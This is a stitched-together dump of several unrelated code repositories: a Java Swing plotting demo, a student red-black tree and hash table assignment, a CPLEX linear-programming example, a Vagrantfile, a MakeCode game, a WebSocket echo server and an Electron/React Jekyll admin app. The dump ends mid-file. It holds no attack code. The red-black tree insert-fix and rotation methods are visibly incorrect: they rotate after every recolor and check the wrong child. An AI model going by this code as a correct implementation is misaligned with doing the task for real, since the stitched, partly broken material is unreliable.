for (int i = 0; i <= data.getMaxX(); i++) {
int x0 = (int) ( i * (getWidth() - padding * 2 - labelPadding) / (data.getMaxX() - 1) + padding + labelPadding);
int x1 = x0;
int y0 = getHeight() - padding - labelPadding;
int y1 = y0 - pointWidth;
if ((i % ((int) ((data.getMaxX() / 10.0)) )) == 0) {
g2.setColor(gridColor);
g2.drawLine(x0, getHeight() - padding - labelPadding - 1 - pointWidth, x1, padding);
g2.setColor(Color.BLACK);
String xLabel = i + "";
FontMetrics metrics = g2.getFontMetrics();
int labelWidth = metrics.stringWidth(xLabel);
g2.drawString(xLabel, x0 - labelWidth / 2, y0 + metrics.getHeight() + 3);
g2.drawLine(x0, y0, x1, y1);
}
}
}
}<file_sep>/README.md
JPlot
=====
plotting graph using java, this program is the demostration of the observer pattern in java.
**Pattern Used**
*Observer* - it is the Behavioral Pattern
**What is Observer Pattern?**
The observer pattern is a software design pattern in which an object, called the subject, maintains a list of its dependents, called observers, and notifies them automatically of any state changes, usually by calling one of their methods. It is mainly used to implement distributed event handling systems.
Src: http://en.wikipedia.org/wiki/Observer_pattern
More Resource:
- http://javadesign-patterns.blogspot.com/p/page22.html
- http://www.oodesign.com/observer-pattern.html
**Requirements to run**
- JRE
- JDK
The program is compiled with OpenJDK 7
```
$java -version
java version "1.7.0_51"
OpenJDK Runtime Environment (IcedTea 2.4.4) (7u51-2.4.4-0ubuntu0.13.10.1)
OpenJDK 64-Bit Server VM (build 24.45-b08, mixed mode)
```
**Uses**
- Java Swing components - JTextField, JButton, JFrame, JTable, etc.
- JPanel is used as a graph
``GraphPanel`` is the observer class which plot the points in panel
``TablePanel`` is the observer class which show tht data in tabular format
**Run**
``$ make``
Enjoy
<file_sep>/makefile
JAVAC = javac
JAVA = java
sources = $(wildcard *.java)
classes = $(sources:.java=.class)
all: $(classes)
clean :
# rm -f *.class
%.class : %.java
$(JAVAC) IDataObserver.java
$(JAVAC) Data.java
$(JAVAC) GraphPanel.java
$(JAVAC) UI.java
$(JAVAC) Graph.java
$(JAVA) Graph
|
3d44f7314df9b777c9a8316bff130eb8e2379b41
|
[
"Markdown",
"Java",
"Makefile"
] | 3 |
Java
|
rupakraj/JPlot
|
9ffb44fffdb7b2de5d81e3d526d9321a3338f5ca
|
df8b0768329315ce8322b293d9e071f372bc4c90
|
refs/heads/master
|
<repo_name>dhananjaypahuja/BinarySearchTrees<file_sep>/src/Pahuja_PA2/BinarySearchTree.java
//package Pahuja_PA2;
//
//import java.util.ArrayList;
//import java.util.List;
//
//public class BinarySearchTree {
// public class Node {
// private Node left;
// private Node right;
// private Node parent;
// private Patient key;
//
// public Node(Patient element) {
// right = null;
// left = null;
// parent = null;
// key = element;
// }
//
// /**
// * @return the right
// */
// public Node getRight() {
// return right;
// }
//
// /**
// * @param right
// * the right to set
// */
// public void setRight(Node right) {
// this.right = right;
// }
//
// /**
// * @return the left
// */
// public Node getLeft() {
// return left;
// }
//
// /**
// * @param left
// * the left to set
// */
// public void setLeft(Node left) {
// this.left = left;
// }
//
// /**
// * @return the parent
// */
// public Node getParent() {
// return parent;
// }
//
// /**
// * @param parent
// * the parent to set
// */
// public void setParent(Node parent) {
// this.parent = parent;
// }
//
// /**
// * @return the key
// */
// public Patient getKey() {
// return key;
// }
//
// /**
// * @param key
// * the key to set
// */
// public void setKey(Patient key) {
// this.key = key;
// }
// }
//
// private Node root;
//
// public BinarySearchTree(ArrayList<Patient> patients) {
// root = null;
//
// for (Patient element : patients) {
// Node node = new Node(element);
// treeInsert(node);
// }
// }
//
// // Prints BST
// public void inorderTreeWalk(Node x) {
// if (x != null) {
// inorderTreeWalk(x.getLeft());
// System.out.println(x.getKey());
// inorderTreeWalk(x.getRight());
// }
// }
//
// public void inorderTreeWalk() {
// inorderTreeWalk(root);
// }
//
//
// public Node search(Node x, Patient target) // Patient or int target.key?
// {
// if (x == null || target.getId() == x.getKey().getId())
// return x;
// if (target.getId() < x.getKey().getId()) // <||>
// return search(x.getLeft(), target);
// return search(x.getRight(), target);
// }
//
// //search a Node
// public Node search(Patient value) {
// return search(root, value);
//
// }
//
// // finds the minimum value in the tree
// public Node treeMinimum(Node x) {
// while (x.left != null) {
// x = x.left;
// }
// return x;
// }
//
// // insert a Node
// public void treeInsert(Node z) {
// Node y = null;
// Node x = this.root;
// while (x != null) {
// y = x;
// if (z.key.id < y.key.id) {
// x = x.left;
// } else {
// x = x.right;
// }
// }
// z.parent = y;
// if (y == null) {
// this.root = z;
// } else if (z.key.id < y.key.id) {
// y.left = z;
// } else {
// y.right = z;
// }
// }
//
// // simply inserts a new Node into the tree
// public void insert(Patient value) {
// Node node = new Node(value);
// treeInsert(node);
//
// }
//
// //used to maintain tree properties
// public void transplant(Node u, Node v) {
// if (u.parent == null) {
// this.root = v;
// } else if (u == u.parent.left) {
// u.parent.left = v;
// } else {
// u.parent.right = v;
// }
//
// if (v != null) {
// v.parent = u.parent;
// }
// }
//
// // deletes a Node
// public void treeDelete(Node z) {
// if (root == null)
// System.out.println("Empty BSTree");
// Node y;
// if (z.left == null) {
// transplant(z, z.right);
// } else if (z.right == null) {
// transplant(z, z.left);
// } else {
// y = treeMinimum(z.right);
// if (y.parent != z) {
// transplant(y, y.right);
// y.right = z.right;
// y.right.parent = y;
// }
//
// transplant(z, y);
// y.left = z.left;
// y.left.parent = y;
// }
// }
//
// // overloading delete method
// public void delete(Patient value) {
// Node x = search(value);
// if (x != null) {
// treeDelete(x);
// }
// }
//}
<file_sep>/src/Pahuja_PA3/RBtree.java
package Pahuja_PA3;
import java.util.ArrayList;
public class RBtree {
private final int RED = 0;
private final int BLACK = 1;
public RBNode root;
public RBNode nil = new RBNode();
public class RBNode {
RBNode left;
RBNode right;
RBNode parent;
Patient key;
int color;
public RBNode() {
this.key = null;
this.parent = null;
this.left = null;
this.right = null;
this.color = BLACK;
}
public RBNode(Patient element) {
this.key = element;
this.parent = nil;
this.left = nil;
this.right = nil;
this.color = BLACK;
}
// public String toString() {
// return this.key + " ";
// }
public String toString() {
return "Color:" + color;
}
}
public RBtree(ArrayList<Patient> test) {
// TODO Auto-generated constructor stub
root = nil;
for (Patient element : test) {
RBNode node = new RBNode(element);
RBtreeInsert(node);
}
RBtreeInsertFix(root);
}
private void RBtreeInsert(RBNode node) {
RBNode y = nil;
RBNode x = root;
while (x != nil) {
y = x;
if (node.key.id < y.key.id) {
x = x.left;
} else {
x = x.right;
}
}
node.parent = y;
if (y == nil) {
this.root = node;
} else if (node.key.id < y.key.id) {
y.left = node;
} else {
y.right = node;
}
node.left = nil;
node.right = nil;
node.color = RED;
RBtreeInsertFix(node);
}
public void RBinsert(Patient newPatient) {
RBNode node = new RBNode(newPatient);
RBtreeInsert(node);
}
public void RBdelete(Patient newPatient) {
RBNode node = new RBNode(newPatient);
node = RBtreeSearch(root, newPatient);
RBtreeDelete(node);
}
private void RBtreeInsertFix(RBNode z) {
RBNode y = nil;
while (z.parent.color == RED) {
if (z.parent == z.parent.parent.left) {
y = z.parent.parent.right;
if (y.color == RED) {
z.parent.color = BLACK;
y.color = BLACK;
z.parent.parent.color = RED;
z = z.parent.parent;
} else if (z == z.parent.right) {
z = z.parent;
rotateLeft(z);
}
z.parent.color = BLACK;
z.parent.parent.color = RED;
rotateRight(z.parent.parent);
} else if (z.parent == z.parent.parent.right) {
y = z.parent.parent.left;
if (y != nil && y.color == RED) {
z.parent.color = BLACK;
y.color = BLACK;
z.parent.parent.color = RED;
z = z.parent.parent;
} else if (z == z.parent.left) {
z = z.parent;
rotateRight(z);
}
z.parent.color = BLACK;
z.parent.parent.color = RED;
rotateLeft(z.parent.parent);
}
}
root.color = BLACK;
}
private RBNode rotateLeft(RBNode x) {
RBNode y = x.right;
x.right = y.left;
if (y.right != nil) {
y.left.parent = x;
}
y.parent = x.parent;
if (x.parent == nil) {
this.root = y;
} else if (x == x.parent.left) {
x.parent.left = y;
} else
x.parent.right = y;
y.left = x;
x.parent = y;
if (this.root == x) {
this.root = y;
}
return y;
}
private RBNode rotateRight(RBNode node) {
RBNode temp = node.left;
node.left = temp.right;
if (temp.left != nil) {
temp.right.parent = node;
}
temp.parent = node.parent;
if (node.parent == nil) {
this.root = temp;
} else if (node == node.parent.right) {
node.parent.right = temp;
} else
node.parent.left = temp;
temp.right = node;
node.parent = temp;
if (this.root == node) {
this.root = temp;
}
return temp;
}
public void preOrderPrint(RBNode x) {
if (x != nil) {
int i = BLACK;
if (x.color == RED){
i = RED;
}
preOrderPrint(x.left);
System.out.println(x.key + " Color: " +i);
preOrderPrint(x.right);
}
}
public void preOrderPrint() {
preOrderPrint(root);
}
public void RBTransplant(RBNode u, RBNode v) {
if (u.parent == nil) {
this.root = v;
} else if (u == u.parent.left) {
u.parent.left = v;
} else {
u.parent.right = v;
}
v.parent = u.parent;
}
public void RBtreeDelete(RBNode z) {
RBNode y = z;
RBNode x = new RBNode();
int colorOG = y.color;
if (z.left == nil) {
x = z.right;
RBTransplant(z, z.right);
} else if (z.right == nil) {
RBTransplant(z, z.left);
} else {
y = treeMinimum(z.right);
colorOG = y.color;
x = y.right;
if (y.parent == z) {
x.parent = y;
} else {
RBTransplant(y, y.right);
y.right = z.right;
y.right.parent = y;
}
RBTransplant(z, y);
y.left = z.left;
y.left.parent = y;
y.color = z.color;
}
if (colorOG == BLACK) {
RBtreeDeleteFix(x);
}
}
public void RBtreeDeleteFix(RBNode x) {
RBNode w = new RBNode();
while (x != root && x.color == BLACK) {
if (x == x.parent.left) {
w = x.parent.right;
if (w.color == RED) { // Case1
w.color = BLACK;
x.parent.color = RED;
rotateLeft(x.parent);
w = x.parent.right;
}
if (w.left.color == BLACK && w.right.color == BLACK) { // Case2
w.color = RED;
x = x.parent;
} else if (w.right.color == BLACK) { // Case3
w.left.color = BLACK;
w.color = RED;
rotateRight(w);
w = x.parent.right;
}
// Case4
w.color = x.parent.color;
x.parent.color = BLACK;
w.right.color = BLACK;
rotateLeft(x.parent);
x = root;
} else {
w = x.parent.left;
if (w.color == RED) { // Case1
w.color = BLACK;
x.parent.color = RED;
rotateRight(x.parent);
w = x.parent.left;
}
if (w.right.color == BLACK && w.left.color == BLACK) { // Case2
w.color = RED;
x = x.parent;
} else if (w.left.color == BLACK) { // Case3
w.right.color = BLACK;
w.color = RED;
rotateLeft(w);
w = x.parent.left;
}
// Case4
w.color = x.parent.color;
x.parent.color = BLACK;
w.left.color = BLACK;
rotateRight(x.parent);
x = root;
}
}
x.color = BLACK;
}
public RBNode treeMinimum(RBNode x) {
while (x.left != nil) {
x = x.left;
}
return x;
}
public RBNode RBtreeSearch(RBNode x, Patient target) // Patient or int
// target.key?
{
if (x == nil || target.id == x.key.id)
return x;
if (target.id < x.key.id) // <||>
return RBtreeSearch(x.left, target);
return RBtreeSearch(x.right, target);
}
public Patient RBsearch(Patient value) {
return RBtreeSearch(root, value).key;
}
public void printSearchResult(Patient s){
if(s != null){
System.out.println("Patient: "+ s + " found!");
} else {
System.out.println("Patient not found!");
}
}
}
// private RBNode rotateRight(RBNode node) {
// RBNode temp = node.left;
// node.left = temp.right;
// if (node.left != null) {
// node.left.parent = node;
// }
//
// temp.right = node;
// temp.parent = node.parent;
// node.parent = temp;
// if (this.root == node) {
// this.root = temp;
// }
//
// return temp;
// }
//
// private RBNode rotateLeft(RBNode node) {
// RBNode temp = node.right;
// node.right = temp.left;
// if (node.right != null) {
// node.right.parent = node;
// }
//
// temp.left = node;
// temp.parent = node.parent;
// node.parent = temp;
// if (this.root == node) {
// this.root = temp;
// }
//
// return temp;
// }
<file_sep>/src/Pahuja_PA3/Hashing.java
package Pahuja_PA3;
import java.util.Iterator;
import java.util.LinkedList;
public class Hashing {
private final static int SIZE = 11;
private LinkedList<Patient>[] table = (LinkedList<Patient>[]) new LinkedList[SIZE];
public void insert(Patient value) {
int hash = (value.getId() % 11);
if (table[hash] == null) {
table[hash] = new LinkedList<>();
}
LinkedList<Patient> hashHead = table[hash];
hashHead.add(value);
}
public boolean search(Patient value) {
int hash = (value.getId() % 11);
LinkedList<Patient> hashHead = table[hash];
if (hashHead != null) {
Iterator<Patient> i = hashHead.iterator();
while (i.hasNext()) {
if (i.next().equals(value)) {
return true;
}
}
}
return false;
}
public void get(Patient value) {
if (search(value) != false) {
System.out.println("Patient " + value.getName() + " found!");
} else
System.out.println("Patient " + value.getName() + " not found!");
}
public boolean delete(Patient value) {
int hash = (value.getId() % 11);
LinkedList<Patient> bucket = table[hash];
if (bucket != null) {
Iterator<Patient> it = bucket.iterator();
while (it.hasNext()) {
if (it.next().equals(value)) {
it.remove();
return true;
}
}
}
return false;
}
public void printTable()
{
System.out.println("\nHash Table: ");
for (int i = 0; i < SIZE; i++)
System.out.print(table[i] +" \n");
System.out.println();
}
}<file_sep>/src/Pahuja_PA3/Tester1.java
package Pahuja_PA3;
import java.util.ArrayList;
import java.util.Random;
public class Tester1 {
public static void main(String[] args) {
String[] patientNames = { "Parth", "Po", "Guda", "Mohit", "RuLasa", "Wushu", "Stan", "Marietta", "Harayana",
"Vegeta", "Boo", "Goku", "Vivek", "Hitt", "Jousha", "Zoomer", "Mussaa", "Kojak", "AJax", "Tyler" };
ArrayList<Patient> test = new ArrayList<>();
Random rand = new Random();
for (int i = 0; i < 10; i++) {
Patient random = new Patient(patientNames[i], rand.nextInt(10000));
test.add(random);
}
System.out.println("RBTree\n");
RBtree tree = new RBtree(test);
tree.preOrderPrint();
System.out.println("\n\nRBTree - Insertion Test\n");
Patient newPatient = new Patient("Dhananjay", 5100);
tree.RBinsert(newPatient);
tree.preOrderPrint();
System.out.println("\n\nRBTree - Searching Test (Pt1)\n");
Patient s = tree.RBsearch(newPatient);
tree.printSearchResult(s);
System.out.println("\n\nRBTree - Deletion Test\n");
tree.RBdelete(newPatient);
tree.preOrderPrint();
System.out.println("\n\nRBTree - Searching Test (Pt2)\n");
s = tree.RBsearch(newPatient);
tree.printSearchResult(s);
}
}
<file_sep>/src/Pahuja_PA3/Patient.java
package Pahuja_PA3;
public class Patient implements Comparable<Patient> {
public String name;
public int id;
public int color;
public Patient(String name, int id) {
this.name = name;
this.id = id;
}
public String toString() {
return "Patient Details: " + name + " (" + id + ")";
}
/*
* Compares two patients based on id
*/
@Override
public int compareTo(Patient p) {
if (this.id > p.id) {
return 1;
} else if (this.id < p.id) {
return -1;
}
return 0;
}
public void setId(int id) {
this.id = id;
}
/*
* gets ID
*/
public int getId() {
return id;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
}
|
1ac8b3ff13770fa6489fc3cca8298f1afb7b3506
|
[
"Java"
] | 5 |
Java
|
dhananjaypahuja/BinarySearchTrees
|
2a5cf24c46e23d88b573d668dca8264bcdc443b1
|
e3d496f50e7103c3153054a971a6a49ebbfe1e34
|
refs/heads/master
|
<file_sep>package com.cabinet;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import ilog.concert.IloException;
import ilog.concert.IloLinearNumExpr;
import ilog.concert.IloNumExpr;
import ilog.concert.IloNumVar;
import ilog.concert.IloRange;
import ilog.opl.IloCplex;
public class ProblemSolver {
static int number_of_cabinets = 2;
static int number_of_conditions = 2;
static List<Integer> objectiveValues = Arrays.asList(8, 12);
static int[][] conditionValues = new int[][]{{10, 20},{6, 8}};
static int[] budgetValues = new int[] {140, 72};
public static void main(String[] args) {
model();
}
public static void model() {
try {
IloCplex cplex = new IloCplex();
List<IloNumVar> decision_variables = new ArrayList<IloNumVar>();
for (int i = 0; i < number_of_cabinets; i++) {
decision_variables.add(cplex.numVar(0, Double.MAX_VALUE, "x" + i));
}
// Objective Function
IloLinearNumExpr objective = cplex.linearNumExpr();
cplex.addMaximize(objective);
for (int i = 0; i < objectiveValues.size(); i++) {
objective.addTerm(objectiveValues.get(i), decision_variables.get(i));
}
List<IloRange> constraints = new ArrayList<IloRange>();
for (int i = 0; i < number_of_conditions; i++) {
List<IloNumExpr> constraintValueList = new ArrayList<IloNumExpr>();
for (int j = 0; j < number_of_cabinets; j++) {
constraintValueList.add(cplex.prod(conditionValues[i][j], decision_variables.get(j)));
}
IloNumExpr constraint = cplex.addLe(cplex.sum(constraintValueList.get(0), constraintValueList.get(1)), budgetValues[i]);
constraints.add((IloRange) constraint);
}
cplex.solve();
System.out.println(cplex.getObjValue());
for (int i = 0; i < number_of_cabinets; i++) {
System.out.println("Decision Variable " + decision_variables.get(i) + cplex.getValue(decision_variables.get(i)));
}
} catch (IloException e) {
e.printStackTrace();
}
}
}
|
a0e8c51394feee2d0c01e6cc8f7a860211beb1f4
|
[
"Java"
] | 1 |
Java
|
cksidharthan/cplex-for-beginners
|
fc9992e9a2955d974ab1bbe226b6561920615354
|
d21f2fb39f6b5c1766d38053e58d30600ed634fb
|
refs/heads/master
|
<file_sep># -*- mode: ruby -*-
# vi: set ft=ruby :
# cannot use .dev as we get an error
# : gem update --system, your-dns-needs-immediate-attention.dev
#
domain = "test"
setup_complete = false
# NOTE: currently using the same OS for all boxen
OS="centos" # "debian" || "centos"
# All Vagrant configuration is done below. The "2" in Vagrant.configure
# configures the configuration version (we support older styles for
# backwards compatibility). Please don't change it unless you know what
# you're doing.
Vagrant.configure(2) do |config|
package=""
if OS=="debian"
config.vm.box = "debian/jessie64"
package="_apt"
elsif OS=="centos"
config.vm.box = "centos/7"
config.vm.box_version = "1707.01" # latest 7.3.1611
package="_yum"
else
puts "you must set the OS variable to a valid value before continuing"
exit
end
{
'findit' => '10.11.12.101',
}.each do |short_name, ip|
config.vm.define short_name do |host|
host.vm.network 'private_network', ip: ip
host.vm.hostname = "#{short_name}.#{domain}"
# presumes installation of https://github.com/cogitatio/vagrant-hostsupdater on host
host.hostsupdater.aliases = ["#{short_name}"]
# avoiding "Authentication failure" issue
host.ssh.insert_key = false
host.vm.synced_folder ".", "/vagrant", disabled: true
host.vm.provider "virtualbox" do |vb|
vb.name = "#{short_name}.#{domain}"
vb.memory = 1024
vb.linked_clone = true
end
if short_name == "findit" # last in the list
setup_complete = true
end
if setup_complete
# workaround for https://github.com/mitchellh/vagrant/issues/8142
host.vm.provision "shell",
inline: "sudo service network restart"
host.vm.provision "ansible" do |ansible|
ansible.galaxy_role_file = "requirements.yml"
ansible.inventory_path = "inventory/vagrant"
ansible.playbook = "setup.yml"
ansible.limit = "all"
ansible.verbose = "v"
end
end
end
end
end
|
11fe46ebf97ab784b03a9363f7422b28b74c405f
|
[
"Ruby"
] | 1 |
Ruby
|
dheles/findit-ansible
|
a954220e3ca764a5444abd6921d5871c367263e8
|
73e8daf7ecfb7b33ddd550c86ed9b67c64a82299
|
refs/heads/master
|
<repo_name>stevekinney/socketry-server<file_sep>/index.js
var WebSocketServer = require('ws').Server;
var socket = new WebSocketServer({ port: 8080 }, function () {
console.log('WebSocket server started on Port 8080...')
});
socket.broadcast = function(data) {
this.clients.forEach(function (client) {
client.send(data);
});
};
socket.on('connection', function(connection) {
connection.on('message', function(message) {
console.log('Received: %s', message);
socket.broadcast(message);
});
});
<file_sep>/README.md
## Socketry (Server)
A simple WebSocket echo server. Pairs with [stevekinney/socketry-client](https://github.com/stevekinney/socketry-client).
This little server was originally written for my talk on integrating WebSockets with Ember.js, which I presented at [the November meeting of Denver Ember.js](http://www.meetup.com/Ember-js-Denver/photos/25750812/#431722682).
|
b16c39da7b9c78dda42b20ee83b835080d9bc12c
|
[
"JavaScript",
"Markdown"
] | 2 |
JavaScript
|
stevekinney/socketry-server
|
3919086c83a5ff30ff5737fbec23b21625459b56
|
c88247d5e736f0aa7e7342abc48aa19b67ecc0d6
|
refs/heads/master
|
<file_sep>controller.B.onEvent(ControllerButtonEvent.Pressed, function () {
if (myMario.isHittingTile(CollisionDirection.Bottom)) {
myMario.vy = -100
}
})
controller.A.onEvent(ControllerButtonEvent.Pressed, function () {
if (myMario.isHittingTile(CollisionDirection.Bottom)) {
myMario.vy = -100
}
})
let myMario: Sprite = null
tiles.setTilemap(tilemap`Map1`)
myMario = sprites.create(assets.image`Mario`, SpriteKind.Player)
let myDonkeyKong = sprites.create(img`
. . . . . . . f f f f f . . . .
. . . . . . f e e e e e f . . .
. . . . . f e e e d d d d f . .
. . . . f f e e d f d d f d c .
. . . f d d e e d f d d f d c .
. . . c d b e e d d d d e e d c
. . . c d b e e d d d d d d d c
. . . . c f e e e d d c c c c c
. . . . . f f e e d c d d d f .
. . . . f e e e e f f f f f . .
f f . f e e e e e e f f . . . .
f e . f e e f e e f e e f . . .
f e . f e e e f e e f e e f . .
f e f f e f b b f b d f d b f .
f f f f e b d d f d d f d d f .
. f f f f f f f f f f f f f . .
`, SpriteKind.Enemy)
let myPrincess = sprites.create(img`
. . . . . f f 4 4 f f . . . . .
. . . . f 5 4 5 5 4 5 f . . . .
. . . f e 4 5 5 5 5 4 e f . . .
. . f b 3 e 4 4 4 4 e 3 b f . .
. . f 3 3 3 3 3 3 3 3 3 3 f . .
. f 3 3 e b 3 e e 3 b e 3 3 f .
. f 3 3 f f e e e e f f 3 3 f .
. f b b f b f e e f b f b b f .
. f b b e 1 f 4 4 f 1 e b b f .
f f b b f 4 4 4 4 4 4 f b b f f
f b b f f f e e e e f f f b b f
. f e e f b d d d d b f e e f .
. . e 4 c d d d d d d c 4 e . .
. . e f b d b d b d b b f e . .
. . . f f 1 d 1 d 1 d f f . . .
. . . . . f f b b f f . . . . .
`, SpriteKind.Food)
controller.moveSprite(myMario)
myMario.ay = 200
scene.cameraFollowSprite(myMario)
|
ac07eb6caf8563f93c9646b426702a7627320062
|
[
"TypeScript"
] | 1 |
TypeScript
|
malthe25/donkey-kong
|
6f6aabc649c21dd7f6a849eaa7e1b0073712f1c6
|
2af379ab5287f14f492ac6c69e1d1a3cc83dcf05
|
refs/heads/master
|
<repo_name>mertkahyaoglu/jekyll-admin-demo<file_sep>/app/actions/project.js
export const REQUEST_CREATE_PROJECT = 'REQUEST_CREATE_PROJECT';
export const CREATED_PROJECT = 'CREATED_PROJECT';
export const FOLDER_CHOOSEN = 'FOLDER_CHOOSEN';
export const RECEIVE_PROJECTS = 'RECEIVE_PROJECTS';
export const CLEARED_PATH = 'CLEARED_PATH';
export const RECEIVE_CONFIG = 'RECEIVE_CONFIG';
export const UPDATE_CONFIG = 'UPDATE_CONFIG';
import {
commandCreateProject,
showOpenDialog,
setProjectPath,
getProjectPath,
getAllProjectsPaths,
clearProjectPath,
isPathExists,
iterateProjects,
writeConfigToFile,
readConfigFile
} from '../utils/ProjectUtils'
function requestCreateProject(name) {
return {
type: REQUEST_CREATE_PROJECT,
name
}
}
function createdProject(output) {
return {
type: CREATED_PROJECT,
output
}
}
function shouldCreateProject(state) {
const createState = state.create
if (!createState) {
return true
}
if (createState.isCreating) {
return false
}
return true
}
export function createProject(name, folder) {
return (dispatch, getState) => {
if (shouldCreateProject(getState())) {
dispatch(requestCreateProject(name))
return commandCreateProject(name, folder, (error, stdout, stderr) => {
if (error) {
dispatch(createdProject(stderr))
}else {
dispatch(createdProject(stdout))
setProjectPath(name,folder)
}
})
}
}
}
export function chooseFolder() {
return (dispatch) => {
return showOpenDialog((folder) =>{
dispatch({
type: FOLDER_CHOOSEN,
folder: folder[0]
})
})
}
}
function receiveProjects() {
return {
type: RECEIVE_PROJECTS,
projects: getAllProjectsPaths()
}
}
function clearedPath(path) {
return {
type: CLEARED_PATH,
path
}
}
export function getAllExistingProjects(path) {
return dispatch => {
iterateProjects((name, path, list) => {
if (!isPathExists(path)) {
clearProjectPath(path)
dispatch(clearedPath(path))
}
})
return dispatch(receiveProjects())
}
}
export function updateConfig(path, config) {
return (dispatch) => {
return writeConfigToFile(path, config, (err) => {
if (!err) {
dispatch({
type: UPDATE_CONFIG,
config
})
}else {
console.log(err)
}
})
}
}
<file_sep>/app/containers/ProjectPage.js
import React, {Component} from 'react';
import { connect } from 'react-redux';
import Project from '../components/Project';
import Error from '../components/Error';
import { readConfigFile } from '../utils/ProjectUtils';
class ProjectPage extends Component {
render() {
const { config } = this.props
if (!config) {
return <Error message="Can't find the project." />
}
return <Project {...this.props} />
}
}
function mapStateToProps(state) {
const { project, routing } = state;
return {
config: readConfigFile(routing.locationBeforeTransitions.query.path),
updated: project.updated
}
}
export default connect(mapStateToProps)(ProjectPage)
<file_sep>/app/components/Error.js
import React from 'react';
import styles from './assets/styles/error.css';
import Header from './Header';
const Error = ({message}) => (
<div className={styles.container}>
<Header/>
<h2 className={styles.message}>{message}</h2>
</div>
)
export default Error
<file_sep>/app/utils/ProjectUtils.js
import childProcess from 'child_process'
import pathExists from 'path-exists'
import _ from 'underscore'
import { remote } from 'electron'
import LocalStorageUtils from './LocalStorage'
import fs from 'fs'
import YAML from 'yamljs'
const separator = (process.platform == "win32") ? '\\' : '/'
export function commandCreateProject(name, folder, callback) {
childProcess.exec(`jekyll new ${name}`, {cwd: folder}, callback)
}
export function showOpenDialog(callback) {
remote.dialog.showOpenDialog({ properties: ['openDirectory']}, callback)
}
export function setProjectPath(name, folder) {
LocalStorageUtils.set(folder+separator+name, name)
}
export function getAllProjectsPaths() {
return LocalStorageUtils.all()
}
export function clearProjectPath(path) {
LocalStorageUtils.clear(path)
}
export function isPathExists(path) {
return pathExists.sync(path)
}
export function iterateProjects(callback) {
let projects = getAllProjectsPaths()
_.each(projects, callback)
}
export function writeConfigToFile(path, config, callback) {
let yamlConfig = YAML.stringify(config,2);
fs.writeFile(path+separator+'_config.yml', yamlConfig, callback)
}
export function readConfigFile(path) {
return YAML.load(path+separator+'_config.yml')
}
<file_sep>/app/components/Header.js
import React from 'react';
import { Link } from 'react-router';
import styles from './assets/styles/header.css';
const Header = ({name, path, encodedpath}) => (
<nav>
<div className={styles.container}>
<Link to="/">
<img className={styles.logo} src={require("./assets/images/logo.png")} />
</Link>
<div className={styles.btn_container}>
<Link to="/create">
<img src={require("./assets/images/add.png")} width="32" />
</Link>
</div>
</div>
</nav>
)
export default Header
<file_sep>/app/components/Create.js
import React, { PropTypes, Component } from 'react';
import ReactDOM from 'react-dom';
import { Link } from 'react-router';
import {createProject, chooseFolder} from '../actions/project';
import styles from './assets/styles/create.css';
import gstyles from './assets/styles/global.css';
import Header from './Header';
class Create extends Component {
handleBtnClick() {
const {dispatch, folder} = this.props
let name = ReactDOM.findDOMNode(this.refs.inp_name).value
dispatch(createProject(name,folder))
}
handleBrowse() {
const {dispatch} = this.props;
dispatch(chooseFolder())
}
render() {
const {output, name, folder} = this.props;
return (
<div>
<Header/>
<div className={styles.container}>
<h2 className={styles.title}>Create Jekyll Project</h2>
<div className={styles.innercontainer}>
<a className={gstyles.btn} onClick={this.handleBrowse.bind(this)}>
Choose project folder
</a>
{folder && <span className={styles.folder}>{folder}</span>}
</div>
<div className={styles.innercontainer}>
<input
className={gstyles.input}
ref="inp_name"
placeholder="Project Name"
/>
<a className={gstyles.btn} onClick={this.handleBtnClick.bind(this)}>Create</a>
</div>
{
output &&
<div className={gstyles.shell}>
<p className={gstyles.line}>
<span className={gstyles.path}>~</span>
<span className={gstyles.prompt}>$</span>
<span className={gstyles.command}>{output}</span>
</p>
</div>
}
</div>
</div>
)
}
}
Create.propTypes = {
completed: PropTypes.bool.isRequired,
output: PropTypes.string.isRequired,
name: PropTypes.string.isRequired,
folder: PropTypes.string.isRequired,
}
export default Create;
<file_sep>/app/components/Project.js
import React, { Component, PropTypes } from 'react';
import ReactDOM from 'react-dom';
import { Link, browserHistory } from 'react-router';
import Header from './Header';
import Sidebar from './Sidebar';
import styles from './assets/styles/project.css';
import gstyles from './assets/styles/global.css';
import LocalStorageUtils from '../utils/LocalStorage';
import { updateConfig } from '../actions/project';
export default class Project extends Component {
handleBtnClick() {
const { dispatch, params } = this.props
const title = ReactDOM.findDOMNode(this.refs.inp_title).value
const description = ReactDOM.findDOMNode(this.refs.inp_desc).value
const email = ReactDOM.findDOMNode(this.refs.inp_email).value
const url = ReactDOM.findDOMNode(this.refs.inp_url).value
const baseurl = ReactDOM.findDOMNode(this.refs.inp_baseurl).value
dispatch(updateConfig(params.project, {title,description,email,url,baseurl,markdown:'kramdown'}))
}
render() {
const { params, config, updated } = this.props
const projectName = LocalStorageUtils.get(params.project)
return (
<div className={styles.wrapper}>
<Header/>
<div className={styles.container}>
<Sidebar project={projectName} />
<div className={styles.contentContainer}>
<h2 className={styles.title}>Configuration</h2>
<div className={styles.formContainer}>
<div>
<input
className={gstyles.input}
defaultValue={config.title}
ref="inp_title"
placeholder="Title"
/>
</div>
<div>
<textarea
className={gstyles.textarea}
defaultValue={config.description}
ref="inp_desc"
placeholder="Description"
rows="5"
></textarea>
</div>
<div>
<input
className={gstyles.input}
defaultValue={config.email}
ref="inp_email"
placeholder="Email"
/>
</div>
<div>
<input
className={gstyles.input}
defaultValue={config.url}
ref="inp_url"
placeholder="URL"
/>
</div>
<div>
<input
className={gstyles.input}
defaultValue={config.baseurl}
ref="inp_baseurl"
placeholder="Base URL"
/>
</div>
<a className={gstyles.btn} onClick={this.handleBtnClick.bind(this)}>Save</a>
{
updated &&
<div className={gstyles.shell}>
<p className={gstyles.line}>
<span className={gstyles.path}>~</span>
<span className={gstyles.prompt}>$</span>
<span className={gstyles.command}>Configuration updated.</span>
</p>
</div>
}
</div>
</div>
</div>
</div>
);
}
}
Project.propTypes = {
config: PropTypes.object.isRequired,
updated: PropTypes.bool.isRequired,
params: PropTypes.object.isRequired
}
<file_sep>/app/reducers/project.js
import {
REQUEST_PROJECT,
CREATED_PROJECT,
FOLDER_CHOOSEN,
REQUEST_CREATE_PROJECT,
RECEIVE_PROJECTS,
UPDATE_CONFIG
} from '../actions/project'
export default function project(state = {
name: "myblog",
isCreating: false,
completed: false,
output: "",
folder: "~",
projects: {},
config: {},
updated: false
}, action) {
switch (action.type) {
case REQUEST_CREATE_PROJECT:
return Object.assign({}, state, {
